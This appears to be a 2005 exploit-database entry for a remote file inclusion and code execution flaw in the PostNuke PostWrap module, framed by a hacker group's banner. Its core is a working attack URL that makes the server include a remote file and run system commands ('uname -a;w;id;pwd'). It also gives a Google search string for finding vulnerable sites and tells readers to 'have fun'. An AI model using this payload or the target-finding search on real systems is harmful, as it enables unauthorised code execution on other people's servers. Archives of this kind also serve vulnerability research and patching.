PostNuke PostWrap Module - Remote File Inclusion / Code Execution

Author: ALBANIA SECURITY
type: webapps
platform: php
port: 
date_added: 2005-02-07 
date_updated: 2017-11-22 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._."
".,-*-,._ -.,-*-,."
".,-*-,._ ALBANIA SECURITY CLAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ ...::www.albanianhaxorz.org::... -.,-*-,."
".,-*-,.- -.,-*-,."
".,-*-,.- PROUD TO BE ALBANIAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ Copyright (c) 2005 ASC irc.gigachat.net #ASC -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,.-.,-*-,."


/index.php?module=PostWrap&page=http://localhost/asc?&cmd=uname%20-a;w;id;pwd

on google */index.php?module=PostWrap&page= ext:php have fun



".,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._.,-*'^'~*-,._."
".,-*-,._ -.,-*-,."
".,-*-,._ ALBANIA SECURITY CLAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ ...::www.albanianhaxorz.org::... -.,-*-,."
".,-*-,.- -.,-*-,."
".,-*-,.- PROUD TO BE ALBANIAN -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._ Copyright (c) 2005 ASC irc.gigachat.net #ASC -.,-*-,."
".,-*-,._ -.,-*-,."
".,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,._.,-*-,.-.,-*-,."

# milw0rm.com [2005-02-08]